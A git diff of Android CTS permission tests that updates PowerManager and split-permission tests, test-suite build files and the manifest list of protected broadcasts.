-            fail("Getting the current power saver mode requires the POWER_SAVER permission");
+            manager.setDynamicPowerSaveHint(true, 0);
+            fail("Updating the dynamic power savings state requires the POWER_SAVER permission");
         } catch (SecurityException e) {
             // Expected Exception
         }
     }
 
-    public void testsetDynamicPowerSavings_requiresPermissions() {
+    public void testSetBatteryDischargePrediction_requiresPermissions() {
         try {
             PowerManager manager = getContext().getSystemService(PowerManager.class);
-            manager.setDynamicPowerSaveHint(true, 0);
-            fail("Updating the dynamic power savings state requires the POWER_SAVER permission");
+            manager.setBatteryDischargePrediction(Duration.ofMillis(1000), false);
+            fail("Updating the discharge prediction requires the DEVICE_POWER"
+                    + " or BATTERY_PREDICTION permission");
         } catch (SecurityException e) {
             // Expected Exception
         }
diff --git a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
index 6b73cbd..d013b93 100644
--- a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
@@ -48,6 +48,7 @@
     private static final String[] BLACKLISTED_PERMISSIONS = {
             "android.permission.MANAGE_USERS",
             "android.permission.NETWORK_STACK",
+            "android.permission.MANAGE_WIFI_COUNTRY_CODE",
     };
 
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
index 5db94c1..61a1d23 100644
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
@@ -42,6 +42,7 @@
 import android.app.UiAutomation;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.SystemUserOnly;
 
 import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
@@ -83,6 +84,8 @@
             TMP_DIR + "CtsAppThatRequestsLocationPermission28.apk";
     private static final String APK_LOCATION_22 =
             TMP_DIR + "CtsAppThatRequestsLocationPermission22.apk";
+    private static final String APK_LOCATION_BACKGROUND_28 =
+            TMP_DIR + "CtsAppThatRequestsLocationAndBackgroundPermission28.apk";
     private static final String APK_LOCATION_BACKGROUND_29 =
             TMP_DIR + "CtsAppThatRequestsLocationAndBackgroundPermission29.apk";
     private static final String APK_SHARED_UID_LOCATION_29 =
@@ -231,6 +234,7 @@
      * implicitly due to splits.
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void nonInheritedStateLowTargetSDKPreM() throws Exception {
         install(APK_CONTACTS_15);
 
@@ -323,6 +327,7 @@
      * <p>(Pre-M version of test)
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void inheritGrantedPermissionStatePreM() throws Exception {
         install(APK_CONTACTS_16);
 
@@ -390,6 +395,7 @@
      * <p>(Pre-M version of test)
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void grantNewSplitPermissionStatePreM() throws Exception {
         install(APK_CONTACTS_15);
         revokePermission(APP_PKG, READ_CONTACTS);
@@ -466,10 +472,33 @@
     }
 
     /**
+     * An implicit permission should get revoked when the app gets updated and now requests the
+     * permission. This even happens if the app is not targeting the SDK the permission was split
+     * in.
+     */
+    @Test
+    public void newPermissionGetRevokedOnUpgradeBeforeSplitSDK() throws Exception {
+        install(APK_LOCATION_28);
+
+        // Background permission can only be granted together with foreground permission
+        grantPermission(APP_PKG, ACCESS_COARSE_LOCATION);
+        grantPermission(APP_PKG, ACCESS_BACKGROUND_LOCATION);
+
+        // Background location was introduced in SDK 29. Hence an app targeting 28 is usually
+        // unaware of this permission. If the app declares that it is aware by adding the permission
+        // in the manifest the permission will get revoked. This allows the app to request the
+        // permission from the user.
+        install(APK_LOCATION_BACKGROUND_28);
+
+        assertPermissionRevoked(ACCESS_BACKGROUND_LOCATION);
+    }
+
+    /**
      * An implicit permission should <u>not</u> get revoked when the app gets updated as pre-M apps
      * cannot deal with revoked permissions. Hence only the user should ever explicitly do that.
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void newPermissionGetRevokedOnUpgradePreM() throws Exception {
         install(APK_CONTACTS_15);
 
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
index 7de6be5..ce6633c 100755
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
@@ -20,6 +20,10 @@
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
 import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
+import static android.Manifest.permission.BLUETOOTH;
+import static android.Manifest.permission.BLUETOOTH_ADMIN;
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_SCAN;
 import static android.Manifest.permission.READ_CALL_LOG;
 import static android.Manifest.permission.READ_CONTACTS;
 import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
@@ -90,38 +94,45 @@
                 case ACCESS_FINE_LOCATION:
                     // Q declares multiple for ACCESS_FINE_LOCATION, so assert both exist
                     if (newPermissions.contains(ACCESS_COARSE_LOCATION)) {
-                        assertSplit(split, ACCESS_COARSE_LOCATION, NO_TARGET);
+                        assertSplit(split, NO_TARGET, ACCESS_COARSE_LOCATION);
                     } else {
-                        assertSplit(split, ACCESS_BACKGROUND_LOCATION, Build.VERSION_CODES.Q);
+                        assertSplit(split, Build.VERSION_CODES.Q, ACCESS_BACKGROUND_LOCATION);
                     }
                     break;
                 case WRITE_EXTERNAL_STORAGE:
-                    assertSplit(split, READ_EXTERNAL_STORAGE, NO_TARGET);
+                    assertSplit(split, NO_TARGET, READ_EXTERNAL_STORAGE);
                     break;
                 case READ_CONTACTS:
-                    assertSplit(split, READ_CALL_LOG, Build.VERSION_CODES.JELLY_BEAN);
+                    assertSplit(split, Build.VERSION_CODES.JELLY_BEAN, READ_CALL_LOG);
                     break;
                 case WRITE_CONTACTS:
-                    assertSplit(split, WRITE_CALL_LOG, Build.VERSION_CODES.JELLY_BEAN);
+                    assertSplit(split, Build.VERSION_CODES.JELLY_BEAN, WRITE_CALL_LOG);
                     break;
                 case ACCESS_COARSE_LOCATION:
-                    assertSplit(split, ACCESS_BACKGROUND_LOCATION, Build.VERSION_CODES.Q);
+                    assertSplit(split, Build.VERSION_CODES.Q, ACCESS_BACKGROUND_LOCATION);
                     break;
                 case READ_EXTERNAL_STORAGE:
-                    assertSplit(split, ACCESS_MEDIA_LOCATION, Build.VERSION_CODES.Q);
+                    assertSplit(split, Build.VERSION_CODES.Q, ACCESS_MEDIA_LOCATION);
                     break;
                 case READ_PRIVILEGED_PHONE_STATE:
-                    assertSplit(split, READ_PHONE_STATE, NO_TARGET);
+                    assertSplit(split, NO_TARGET, READ_PHONE_STATE);
+                    break;
+                case BLUETOOTH_CONNECT:
+                    // STOPSHIP(b/184180558): replace with "S" once SDK is finalized
+                    assertSplit(split, Build.VERSION_CODES.R + 1, BLUETOOTH, BLUETOOTH_ADMIN);
+                    break;
+                case BLUETOOTH_SCAN:
+                    // STOPSHIP(b/184180558): replace with "S" once SDK is finalized
+                    assertSplit(split, Build.VERSION_CODES.R + 1, BLUETOOTH, BLUETOOTH_ADMIN);
                     break;
             }
         }
 
-        assertEquals(8, seenSplits.size());
+        assertEquals(12, seenSplits.size());
     }
 
-    private void assertSplit(SplitPermissionInfo split, String permission, int targetSdk) {
-        // For now, all system splits have 1 permission
-        assertThat(split.getNewPermissions()).containsExactly(permission);
+    private void assertSplit(SplitPermissionInfo split, int targetSdk, String... permission) {
+        assertThat(split.getNewPermissions()).containsExactlyElementsIn(permission);
         assertThat(split.getTargetSdk()).isEqualTo(targetSdk);
     }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
index 2e67179..0f21318 100644
--- a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
@@ -23,6 +23,7 @@
 import android.app.UiAutomation
 import android.content.Context
 import android.content.pm.PackageManager
+import android.platform.test.annotations.AppModeFull
 import android.platform.test.annotations.SecurityTest
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.SystemUtil
@@ -31,6 +32,7 @@
 import org.junit.Before
 import org.junit.Test
 
+@AppModeFull
 class StorageEscalationTest {
     companion object {
         private const val APK_DIRECTORY = "/data/local/tmp/cts/permissions"
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index d293c70..2843d75 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -47,6 +47,7 @@
     private var mContext: Context? = null
     private var mPm: PackageManager? = null
     private var mAllowButtonText: Pattern? = null
+    private var mDenyButtonText: Pattern? = null
 
     @Before
     fun install() {
@@ -68,6 +69,12 @@
                                 "grant_dialog_button_allow", "string",
                                 "com.android.permissioncontroller")))),
                 Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
+        mDenyButtonText = Pattern.compile(
+                Pattern.quote(requireNotNull(permissionControllerResources?.getString(
+                        permissionControllerResources.getIdentifier(
+                                "grant_dialog_button_deny", "string",
+                                "com.android.permissioncontroller")))),
+                Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
     }
 
     @Before
@@ -153,7 +160,7 @@
             try {
                 if (mContext?.packageManager
                                 ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
-                    findAllowButton()
+                    waitFindObject(By.text(mDenyButtonText), 100)
                 } else {
                     waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
                 }
diff --git a/tests/tests/permission/telephony/Android.bp b/tests/tests/permission/telephony/Android.bp
index ed34dc8..da256dc 100644
--- a/tests/tests/permission/telephony/Android.bp
+++ b/tests/tests/permission/telephony/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index aaa475e..61a0e76 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -26,6 +26,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 65a1174..a324934 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -26,6 +26,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index d02d8f5..0d2f5d5 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index 46c403a..85ce995 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index 0effe2c..9fefaf5 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index fe50957..7aeb75f 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index eae7d63..060a2dc 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 89284fc..542a6b3 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -26,6 +26,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 4a448a2..83eb050 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -42,6 +42,9 @@
     <protected-broadcast android:name="android.intent.action.PACKAGE_REMOVED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_REMOVED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_CHANGED" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_STARTABLE" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_UNSTARTABLE" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_LOADED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_ENABLE_ROLLBACK" />
     <protected-broadcast android:name="android.intent.action.CANCEL_ENABLE_ROLLBACK" />
     <protected-broadcast android:name="android.intent.action.ROLLBACK_COMMITTED" />
@@ -90,24 +93,26 @@
     <protected-broadcast android:name="android.intent.action.USER_SWITCHED" />
     <protected-broadcast android:name="android.intent.action.USER_INITIALIZE" />
     <protected-broadcast android:name="android.intent.action.INTENT_FILTER_NEEDS_VERIFICATION" />
+    <protected-broadcast android:name="android.intent.action.DOMAINS_NEED_VERIFICATION" />
     <protected-broadcast android:name="android.intent.action.OVERLAY_ADDED" />
     <protected-broadcast android:name="android.intent.action.OVERLAY_CHANGED" />
     <protected-broadcast android:name="android.intent.action.OVERLAY_REMOVED" />
     <protected-broadcast android:name="android.intent.action.OVERLAY_PRIORITY_CHANGED" />
     <protected-broadcast android:name="android.intent.action.MY_PACKAGE_SUSPENDED" />
     <protected-broadcast android:name="android.intent.action.MY_PACKAGE_UNSUSPENDED" />
-    <protected-broadcast android:name="android.intent.action.LOAD_DATA" />
 
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED" />
-    <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGING" />
     <protected-broadcast android:name="android.os.action.DEVICE_IDLE_MODE_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_WHITELIST_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_TEMP_WHITELIST_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED_INTERNAL" />
+    <protected-broadcast android:name="android.os.action.ENHANCED_DISCHARGE_PREDICTION_CHANGED" />
 
     <!-- @deprecated This is rarely used and will be phased out soon. -->
     <protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
 
+    <protected-broadcast android:name="android.app.action.CLOSE_NOTIFICATION_HANDLER_PANEL" />
+
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
@@ -116,6 +121,12 @@
     <protected-broadcast android:name="android.app.action.EXIT_DESK_MODE" />
     <protected-broadcast android:name="android.app.action.NEXT_ALARM_CLOCK_CHANGED" />
 
+    <protected-broadcast android:name="android.app.action.USER_ADDED" />
+    <protected-broadcast android:name="android.app.action.USER_REMOVED" />
+    <protected-broadcast android:name="android.app.action.USER_STARTED" />
+    <protected-broadcast android:name="android.app.action.USER_STOPPED" />
+    <protected-broadcast android:name="android.app.action.USER_SWITCHED" />
+
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARING_DECLINED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_FAILED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARE" />
@@ -145,7 +156,7 @@
     <protected-broadcast android:name="android.bluetooth.adapter.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.UUID" />
     <protected-broadcast android:name="android.bluetooth.device.action.MAS_INSTANCE" />
-    <protected-broadcast android:name="android.bluetooth.action.ALIAS_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.device.action.ALIAS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.FOUND" />
     <protected-broadcast android:name="android.bluetooth.device.action.CLASS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.ACL_CONNECTED" />
@@ -229,12 +240,16 @@
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_READ_STATUS_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELETED_STATUS_CHANGED" />
     <protected-broadcast
         android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
     <protected-broadcast
         android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
     <protected-broadcast
         android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast
+        android:name="android.bluetooth.action.TETHERING_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbapclient.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -265,6 +280,7 @@
     <protected-broadcast android:name="android.hardware.usb.action.USB_PORT_CHANGED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_DETACHED" />
+    <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_HANDSHAKE" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_ATTACHED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_DETACHED" />
 
@@ -306,9 +322,13 @@
 
     <protected-broadcast android:name="android.net.nsd.STATE_CHANGED" />
 
+    <!-- For OMAPI -->
+    <protected-broadcast android:name="android.se.omapi.action.SECURE_ELEMENT_STATE_CHANGED" />
+
     <protected-broadcast android:name="android.nfc.action.ADAPTER_STATE_CHANGED" />
     <protected-broadcast android:name="android.nfc.action.PREFERRED_PAYMENT_CHANGED" />
     <protected-broadcast android:name="android.nfc.action.TRANSACTION_DETECTED" />
+    <protected-broadcast android:name="android.nfc.action.REQUIRE_UNLOCK_FOR_NFC" />
     <protected-broadcast android:name="com.android.nfc.action.LLCP_UP" />
     <protected-broadcast android:name="com.android.nfc.action.LLCP_DOWN" />
     <protected-broadcast android:name="com.android.nfc.cardemulation.action.CLOSE_TAP_DIALOG" />
@@ -351,8 +371,9 @@
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_APP" />
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_APP" />
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISMISSED" />
-    <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_CARRIER" />
-    <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_ALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISMISSED" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.USER_DISMISSED_NOTIFICATION" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.CONNECT_TO_NETWORK" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_WIFI_NETWORK" />
@@ -377,6 +398,7 @@
     <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_OSU_PROVIDERS_LIST" />
     <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_SUBSCRIPTION_REMEDIATION" />
     <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_LAUNCH_OSU_VIEW" />
+    <protected-broadcast android:name="android.net.wifi.action.REFRESH_USER_PROVISIONING" />
     <protected-broadcast android:name="android.net.wifi.action.WIFI_NETWORK_SUGGESTION_POST_CONNECTION" />
     <protected-broadcast android:name="android.net.wifi.action.WIFI_SCAN_AVAILABILITY_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
@@ -399,6 +421,9 @@
     <protected-broadcast android:name="android.intent.action.AIRPLANE_MODE" />
     <protected-broadcast android:name="android.intent.action.ADVANCED_SETTINGS" />
     <protected-broadcast android:name="android.intent.action.APPLICATION_RESTRICTIONS_CHANGED" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
 
     <!-- Legacy -->
     <protected-broadcast android:name="android.intent.action.ACTION_IDLE_MAINTENANCE_START" />
@@ -414,6 +439,8 @@
 
     <protected-broadcast android:name="android.location.PROVIDERS_CHANGED" />
     <protected-broadcast android:name="android.location.MODE_CHANGED" />
+    <protected-broadcast android:name="android.location.action.GNSS_CAPABILITIES_CHANGED" />
+
     <protected-broadcast android:name="android.net.proxy.PAC_REFRESH" />
 
     <protected-broadcast android:name="android.telecom.action.DEFAULT_DIALER_CHANGED" />
@@ -522,8 +549,10 @@
     <protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
     <protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
     <protected-broadcast android:name="com.android.settings.bluetooth.ACTION_DISMISS_PAIRING" />
+    <protected-broadcast android:name="com.android.settings.wifi.action.NETWORK_REQUEST" />
 
     <protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
+    <protected-broadcast android:name="NotificationHistoryDatabase.CLEANUP" />
     <protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
     <protected-broadcast android:name="EventConditionProvider.EVALUATE" />
     <protected-broadcast android:name="SnoozeHelper.EVALUATE" />
@@ -545,6 +574,7 @@
     <protected-broadcast android:name="android.intent.action.MEDIA_RESOURCE_GRANTED" />
     <protected-broadcast android:name="android.app.action.NETWORK_LOGS_AVAILABLE" />
     <protected-broadcast android:name="android.app.action.SECURITY_LOGS_AVAILABLE" />
+    <protected-broadcast android:name="android.app.action.COMPLIANCE_ACKNOWLEDGEMENT_REQUIRED" />
 
     <protected-broadcast android:name="android.app.action.INTERRUPTION_FILTER_CHANGED" />
     <protected-broadcast android:name="android.app.action.INTERRUPTION_FILTER_CHANGED_INTERNAL" />
@@ -554,6 +584,7 @@
     <protected-broadcast android:name="android.os.action.ACTION_EFFECTS_SUPPRESSOR_CHANGED" />
     <protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED" />
     <protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED" />
+    <protected-broadcast android:name="android.app.action.NOTIFICATION_LISTENER_ENABLED_CHANGED" />
     <protected-broadcast android:name="android.app.action.APP_BLOCK_STATE_CHANGED" />
 
     <protected-broadcast android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS" />
@@ -596,6 +627,9 @@
     <protected-broadcast android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
     <protected-broadcast android:name="com.android.server.pm.DISABLE_QUIET_MODE_AFTER_UNLOCK" />
 
+    <protected-broadcast android:name="android.intent.action.PROFILE_ACCESSIBLE" />
+    <protected-broadcast android:name="android.intent.action.PROFILE_INACCESSIBLE" />
+
     <protected-broadcast android:name="com.android.server.retaildemo.ACTION_RESET_DEMO" />
 
     <protected-broadcast android:name="android.intent.action.DEVICE_LOCKED_CHANGED" />
@@ -625,7 +659,6 @@
     <protected-broadcast android:name="android.app.action.PROFILE_OWNER_CHANGED" />
     <protected-broadcast android:name="android.app.action.TRANSFER_OWNERSHIP_COMPLETE" />
     <protected-broadcast android:name="android.app.action.AFFILIATED_PROFILE_TRANSFER_OWNERSHIP_COMPLETE" />
-    <protected-broadcast android:name="android.app.action.DATA_SHARING_RESTRICTION_CHANGED" />
     <protected-broadcast android:name="android.app.action.STATSD_STARTED" />
     <protected-broadcast android:name="com.android.server.biometrics.fingerprint.ACTION_LOCKOUT_RESET" />
     <protected-broadcast android:name="com.android.server.biometrics.face.ACTION_LOCKOUT_RESET" />
@@ -648,9 +681,20 @@
 
     <protected-broadcast android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY" />
 
+    <!-- Added in R -->
+    <protected-broadcast android:name="android.app.action.RESET_PROTECTION_POLICY_CHANGED" />
+
     <!-- For tether entitlement recheck-->
     <protected-broadcast
         android:name="com.android.server.connectivity.tethering.PROVISIONING_RECHECK_ALARM" />
+
+    <!-- Made protected in S (was added in R) -->
+    <protected-broadcast android:name="com.android.internal.intent.action.BUGREPORT_REQUESTED" />
+
+    <!-- Added in S -->
+    <protected-broadcast android:name="android.scheduling.action.REBOOT_READY" />
+    <protected-broadcast android:name="android.app.action.DEVICE_POLICY_CONSTANTS_CHANGED" />
+
     <!-- ====================================================================== -->
     <!--                          RUNTIME PERMISSIONS                           -->
     <!-- ====================================================================== -->
@@ -883,11 +927,11 @@
 
       <p> This is a soft restricted permission which cannot be held by an app it its
       full form until the installer on record whitelists the permission.
-      Specifically, if the permission is whitelisted the holder app can access
+      Specifically, if the permission is allowlisted the holder app can access
       external storage and the visual and aural media collections while if the
-      permission is not whitelisted the holder app can only access to the visual
+      permission is not allowlisted the holder app can only access to the visual
       and aural medial collections. Also the permission is immutably restricted
-      meaning that the whitelist state can be specified only at install time and
+      meaning that the allowlist state can be specified only at install time and
       cannot change until the app is installed. For more details see
       {@link android.content.pm.PackageInstaller.SessionParams#setWhitelistedRestrictedPermissions(Set)}.
      <p>Protection level: dangerous -->
@@ -911,7 +955,7 @@
          read/write files in your application-specific directories returned by
          {@link android.content.Context#getExternalFilesDir} and
